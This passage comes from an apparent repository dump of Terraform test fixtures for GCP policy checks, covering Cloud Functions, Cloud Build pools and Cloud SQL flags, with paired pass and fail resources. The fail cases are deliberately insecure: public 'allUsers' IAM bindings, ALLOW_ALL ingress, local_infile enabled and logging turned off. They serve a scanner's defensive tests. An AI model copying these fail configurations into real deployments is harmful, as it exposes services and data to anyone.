    "content": "resource \"google_cloudbuild_worker_pool\" \"fail\" {\n  name = \"my-pool\"\n  location = \"europe-west1\"\n  worker_config {\n    disk_size_gb = 100\n    machine_type = \"e2-standard-4\"\n    no_external_ip = false\n  }\n}\n\nresource \"google_cloudbuild_worker_pool\" \"fail2\" {\n  name = \"my-pool\"\n  location = \"europe-west1\"\n  worker_config {\n    disk_size_gb = 100\n    machine_type = \"e2-standard-4\"\n  }\n}\n\nresource \"google_cloudbuild_worker_pool\" \"pass\" {\n  name = \"my-pool\"\n  location = \"europe-west1\"\n  worker_config {\n    disk_size_gb = 100\n    machine_type = \"e2-standard-4\"\n    no_external_ip = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudFunctionPermissiveIngress/main.tf",
    "content": "resource \"google_cloudfunctions2_function\" \"pass1\" {\n  name = \"gcf-function\"\n  location = \"us-central1\"\n  description = \"a new function\"\n\n  service_config {\n    max_instance_count  = 3\n    min_instance_count = 1\n    available_memory    = \"4Gi\"\n    timeout_seconds     = 60\n    max_instance_request_concurrency = 80\n    available_cpu = \"4\"\n    environment_variables = {\n        SERVICE_CONFIG_TEST = \"config_test\"\n    }\n    ingress_settings = \"ALLOW_INTERNAL_ONLY\"\n    all_traffic_on_latest_revision = true\n    service_account_email = google_service_account.account.email\n  }\n}\n\nresource \"google_cloudfunctions2_function\" \"fail1\" {\n  name = \"gcf-function\"\n  location = \"us-central1\"\n  description = \"a new function\"\n\n  service_config {\n    max_instance_count  = 3\n    min_instance_count = 1\n    available_memory    = \"4Gi\"\n    timeout_seconds     = 60\n    max_instance_request_concurrency = 80\n    available_cpu = \"4\"\n    environment_variables = {\n        SERVICE_CONFIG_TEST = \"config_test\"\n    }\n    ingress_settings = \"ALLOW_ALL\"\n    all_traffic_on_latest_revision = true\n    service_account_email = google_service_account.account.email\n  }\n}\n\n# Defaults to ALLOW_ALL (https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/cloudfunctions2_function#ingress_settings)\nresource \"google_cloudfunctions2_function\" \"fail2_not_specified\" {\n  name = \"gcf-function\"\n  location = \"us-central1\"\n  description = \"a new function\"\n\n  service_config {\n    max_instance_count  = 3\n    min_instance_count = 1\n    available_memory    = \"4Gi\"\n    timeout_seconds     = 60\n    max_instance_request_concurrency = 80\n    available_cpu = \"4\"\n    environment_variables = {\n        SERVICE_CONFIG_TEST = \"config_test\"\n    }\n    all_traffic_on_latest_revision = true\n    service_account_email = google_service_account.account.email\n  }\n}\n\nresource \"google_cloudfunctions_function\" \"pass2\" {\n  name                  = \"serverless-lb-test-function\"\n  region                = \"europe-west1\"\n  description           = \"serverless-lb-test-function\"\n  available_memory_mb   = 512\n  source_archive_bucket = google_storage_bucket.lb-zip.name\n  source_archive_object = google_storage_bucket_object.lb-zip.name\n  timeout               = 60\n  service_account_email = google_service_account.serverless.email\n  labels = {\n    deployment-tool = \"console-cloud\"\n  }\n  entry_point           = \"hello_get\"\n  runtime               = \"python37\"\n  trigger_http = true\n  ingress_settings = \"ALLOW_INTERNAL_AND_GCLB\"\n}\n\nresource \"google_cloudfunctions_function\" \"fail3\" {\n  name                  = \"serverless-lb-test-function\"\n  region                = \"europe-west1\"\n  description           = \"serverless-lb-test-function\"\n  available_memory_mb   = 512\n  source_archive_bucket = google_storage_bucket.lb-zip.name\n  source_archive_object = google_storage_bucket_object.lb-zip.name\n  timeout               = 60\n  service_account_email = google_service_account.serverless.email\n  labels = {\n    deployment-tool = \"console-cloud\"\n  }\n  entry_point           = \"hello_get\"\n  runtime               = \"python37\"\n  trigger_http = true\n  ingress_settings = \"ALLOW_ALL\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudFunctionsShouldNotBePublic/main.tf",
    "content": "# Cloud functions 1st generation\nresource \"google_cloudfunctions_function_iam_member\" \"pass\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n\n  role   = \"roles/cloudfunctions.invoker\"\n  member = \"user:james.woolfenden@gmail.com\"\n}\n\nresource \"google_cloudfunctions_function_iam_member\" \"fail\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n\n  role   = \"roles/cloudfunctions.invoker\"\n  member = \"allUsers\"\n}\n\nresource \"google_cloudfunctions_function_iam_binding\" \"pass\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_cloudfunctions_function_iam_binding\" \"pass2\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jane@example.com\",\n    \"user:anton@caughtit.com\"\n  ]\n}\n\nresource \"google_cloudfunctions_function_iam_binding\" \"fail\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_cloudfunctions_function_iam_binding\" \"fail2\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:anton@caughtit.com\",\n    \"allUsers\",\n  ]\n}\n\nresource \"google_cloudfunctions_function\" \"pikey\" {\n\n  docker_registry              = \"CONTAINER_REGISTRY\"\n  entry_point                  = \"cloud_storage_function_3\"\n  environment_variables        = {}\n  https_trigger_security_level = \"SECURE_ALWAYS\"\n  https_trigger_url            = \"https://europe-west2-pike-361314.cloudfunctions.net/pikey\"\n  source_archive_bucket = \"test-bucket-jgw-today\"\n  source_archive_object = \"index.zip\"\n  labels = {\n    deployment-tool = \"console-cloud\"\n    tag             = \"deployment-tool\"\n    pike            = \"permissions\"\n  }\n  max_instances         = 3000\n  min_instances         = 0\n  name                  = \"pikey\"\n  project               = \"pike-361314\"\n  region                = \"europe-west2\"\n  runtime               = \"python37\"\n  service_account_email = \"pike-361314@appspot.gserviceaccount.com\"\n  trigger_http          = true\n}\n\n# Cloud functions 2nd generation\nresource \"google_cloudfunctions2_function_iam_member\" \"pass\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n\n  role   = \"roles/cloudfunctions.invoker\"\n  member = \"user:james.woolfenden@gmail.com\"\n}\n\nresource \"google_cloudfunctions2_function_iam_member\" \"fail\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n\n  role   = \"roles/cloudfunctions.invoker\"\n  member = \"allUsers\"\n}\n\nresource \"google_cloudfunctions2_function_iam_binding\" \"pass\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_cloudfunctions2_function_iam_binding\" \"pass2\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:jane@example.com\",\n    \"user:anton@caughtit.com\"\n  ]\n}\n\nresource \"google_cloudfunctions2_function_iam_binding\" \"fail\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_cloudfunctions2_function_iam_binding\" \"fail2\" {\n  project        = google_cloudfunctions_function.pikey.project\n  region         = google_cloudfunctions_function.pikey.region\n  cloud_function = google_cloudfunctions_function.pikey.name\n  role = \"roles/viewer\"\n  members = [\n    \"user:anton@caughtit.com\",\n    \"allUsers\",\n  ]\n}\n\nresource \"google_cloudfunctions2_function\" \"pikey\" {\n\n  docker_registry              = \"CONTAINER_REGISTRY\"\n  entry_point                  = \"cloud_storage_function_3\"\n  environment_variables        = {}\n  https_trigger_security_level = \"SECURE_ALWAYS\"\n  https_trigger_url            = \"https://europe-west2-pike-361314.cloudfunctions.net/pikey\"\n  source_archive_bucket = \"test-bucket-jgw-today\"\n  source_archive_object = \"index.zip\"\n  labels = {\n    deployment-tool = \"console-cloud\"\n    tag             = \"deployment-tool\"\n    pike            = \"permissions\"\n  }\n  max_instances         = 3000\n  min_instances         = 0\n  name                  = \"pikey\"\n  project               = \"pike-361314\"\n  region                = \"europe-west2\"\n  runtime               = \"python37\"\n  service_account_email = \"pike-361314@appspot.gserviceaccount.com\"\n  trigger_http          = true\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudMySqlLocalInfileOff/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    tier              = \"db-n1-standard-1\"\n    database_flags {\n      name  = \"night\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    availability_type = \"ZONAL\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"max_allowed_packet\"\n      value = \"536870912\"\n    }\n    database_flags {\n      name  = \"local_infile\"\n      value = \"off\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-n1-standard-1\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"MYSQL_5_6\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    database_flags {\n      name  = \"local_infile\"\n      value = \"off\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-n1-standard-1\"\n  }\n}\n\n//postgres does not have these flags so this isn't even working terraform\nresource \"google_sql_database_instance\" \"unknown\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"local_infilrerege1\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-n1-standard-1\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass3\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    pricing_plan      = \"PER_USE\"\n    tier              = \"db-n1-standard-1\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown2\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    tier = \"db-n1-standard-1\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass4\" {\n  database_version = \"MYSQL_6\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    pricing_plan      = \"PER_USE\"\n    tier              = \"db-n1-standard-1\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass5\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags = [\"${var.test_var}\"]\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-n1-standard-1\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudPostgreSQLLogDisconnection/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n    database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags = [\"${var.test_var}\"]\n    tier = \"db-custom-1-3840\"\n    pricing_plan = \"PER_USE\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudPostgreSQLLogMinMessage/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug5\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags = [\"${var.test_var}\"]\n    tier = \"db-custom-1-3840\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudPostgreSQLLogTemp/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"30\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug5\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"0\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"POSTGRES_15\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"0\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass3\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags = [\"${var.test_var}\"]\n    tier = \"db-custom-1-3840\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudPostgreSqlLogLockWaits/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"fail2\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags = [\"${var.test_var}\"]\n    tier = \"db-custom-1-3840\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudPostgreSqlLogMinDuration/main.tf",
    "content": "\nresource \"google_sql_database_instance\" \"fail\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug6\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"10\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\n\nresource \"google_sql_database_instance\" \"pass2\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"off\"\n    }\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug5\"\n    }\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"0\"\n    }\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"-1\"\n    }\n    pricing_plan = \"PER_USE\"\n    tier         = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"pass\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    pricing_plan      = \"PER_USE\"\n    tier              = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown\" {\n  name             = \"db\"\n  database_version = \"MYSQL_5_6\"\n  region           = \"us-central1\"\n  settings {\n    database_flags {\n      name  = \"local_infile\"\n      value = \"on\"\n    }\n    tier = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"unknown_var\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n    pricing_plan      = \"PER_USE\"\n    tier              = \"db-custom-1-3840\"\n    database_flags = [\"${var.test_var}\"]\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/example_CloudPostgreSqlLogStatement/main.tf",
